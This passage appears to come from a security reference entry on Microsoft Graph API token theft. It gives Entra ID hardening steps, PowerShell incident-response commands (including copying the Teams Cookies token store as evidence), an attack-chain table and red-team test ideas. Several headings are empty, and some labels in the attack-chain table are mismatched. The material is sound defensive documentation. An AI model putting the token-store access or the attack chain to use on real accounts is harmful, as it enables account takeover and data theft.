  2. Block Legacy Authentication: Disable support for SMTP, IMAP, POP3 (older protocols without MFA support)
  3. Token Lifetime Policy: Shorten token lifetimes (default 1 hour for access token; reduce to 15 minutes for high-risk users)
  4. IP Risk-Based Policies: Block access from high-risk countries/IP ranges

RBAC/ABAC Hardening:

  1. Remove users from Global Administrator role; use role-based access (Exchange Admin, Teams Admin, etc.)
  2. Implement Privileged Identity Management (PIM) requiring approval for sensitive roles
  3. Use Azure Lighthouse for delegated access instead of direct role assignment

14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Forensic Artifacts

Disk:

Memory:

Cloud:

Entra ID Sign-In Logs:

Response Procedures

  1. Isolate:
    • Immediately revoke all refresh tokens for affected user:
      Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id
      
    • Block user’s IP address at firewall (if external attacker)
    • Disconnect affected endpoint from network
  2. Collect Evidence:
    • Export Security Event Log:
      wevtutil epl Security C:\Evidence\Security.evtx
      
    • Capture Teams Cookies database (if Teams still running):
      Copy-Item "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies" -Destination "C:\Evidence\"
      
    • Export Graph API activity logs:
      Connect-MgGraph
      Get-MgAuditLogDirectoryAudit -Filter "category eq 'ApplicationManagement'" | Export-Csv "C:\Evidence\AuditLogs.csv"
      
  3. Remediate:
    • Force password reset for affected user
    • Revoke all OAuth app consents (user may need to re-consent to legitimate apps)
    • Review and revoke any new app registrations created by attacker
    • Change service principal credentials if compromised
    • Review all Graph API calls from compromised account for exfiltrated data
  4. Communicate:
    • Notify user of compromise
    • Assess if any sensitive data was exfiltrated (mailbox, OneDrive, Teams)
    • Coordinate with legal/compliance if GDPR/HIPAA breach notification required

Step Phase Technique Description
1 Initial Access [CA-PHISH-002] Consent Grant OAuth Attacks Attacker tricks user into granting OAuth permissions to malicious app
2 Credential Access [CA-TOKEN-001] Hybrid AD Cloud Token Theft Tokens stolen via Azure AD Connect misconfiguration
3 Current Step [CA-TOKEN-004] Graph API Token Theft (this technique)
4 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Attacker creates new admin account or adds persistence to existing account
5 Impact [CA-UNSC-003] SYSVOL GPP Credential Extraction Attacker uses elevated Graph API access to enumerate more credentials
6 Exfiltration [IA-PHISH-005] Internal Spearphishing Campaigns Attacker sends phishing from compromised user to other employees

16. REAL-WORLD EXAMPLES

Example 1: Storm-2372 Device Code Phishing Campaign (2025)

Example 2: Microsoft Teams Token Extraction via DPAPI (October 2025)

Example 3: Evilginx2 MITM OAuth Phishing (Generic, Ongoing)


17. OPERATIONAL NOTES & ADDITIONAL RECOMMENDATIONS

Why This Technique Remains ACTIVE:

  1. OAuth 2.0 is a design requirement - tokens cannot be prevented from being stolen; only detection and remediation are viable
  2. Stolen tokens bypass MFA - user already authenticated, so MFA challenge does not re-trigger
  3. Token theft is invisible - API calls appear legitimate (user’s own account, valid token)
  4. Refresh tokens extend access indefinitely - even after user changes password, refresh token remains valid unless explicitly revoked

Testing & Validation in Red Team Exercises:

  1. Controlled DPAPI extraction test: Extract Teams tokens in lab environment to verify detection
  2. Synthetic device code phishing: Send device code flow test to users; measure who completes
  3. Graph API anomaly detection validation: Run bulk search queries and verify alerting
  4. Token lifetime tuning: Reduce token lifetime to 15 minutes and measure impact on legitimate workflows